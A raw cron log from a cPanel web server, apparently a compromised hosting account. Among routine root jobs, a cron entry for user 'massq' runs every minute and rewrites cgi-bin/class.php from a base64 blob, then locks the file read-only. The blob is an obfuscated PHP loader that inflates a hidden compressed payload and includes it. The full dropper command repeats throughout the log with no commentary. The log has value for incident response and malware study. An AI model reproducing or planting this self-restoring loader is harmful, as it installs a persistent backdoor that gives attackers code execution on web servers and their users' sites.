Aug 30 21:52:01 server CROND[30934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:53:01 server CROND[31447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:53:01 server CROND[31448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:53:01 server CROND[31449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:54:01 server CROND[31820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:54:01 server CROND[31821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:54:01 server CROND[31822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:55:01 server CROND[32202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:55:01 server CROND[32204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:55:01 server CROND[32206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:55:01 server CROND[32215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:55:01 server CROND[32214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:55:01 server CROND[32216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:55:01 server CROND[32217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:56:01 server CROND[581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:56:01 server CROND[582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:56:01 server CROND[583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:57:01 server CROND[996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:57:01 server CROND[997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:57:01 server CROND[998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:57:01 server CROND[999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:58:01 server CROND[1571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:58:01 server CROND[1572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:58:01 server CROND[1573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:59:01 server CROND[2024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:59:01 server CROND[2025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:59:01 server CROND[2026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:00:01 server CROND[2407]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:00:01 server CROND[2410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:00:01 server CROND[2413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:00:01 server CROND[2415]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:00:01 server CROND[2412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:00:01 server CROND[2416]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 22:00:01 server CROND[2418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:00:01 server CROND[2414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:00:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 22:00:01 server CROND[2417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:01:01 server CROND[3302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:01:01 server CROND[3304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:01:01 server CROND[3303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:01:01 server CROND[3305]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 22:01:01 server run-parts(/etc/cron.hourly)[3305]: starting 0anacron
Aug 30 22:01:01 server run-parts(/etc/cron.hourly)[3325]: finished 0anacron
Aug 30 22:02:01 server CROND[3696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:02:01 server CROND[3697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:02:01 server CROND[3698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:03:01 server CROND[4161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:03:01 server CROND[4162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:03:01 server CROND[4164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:04:01 server CROND[4529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:04:01 server CROND[4530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
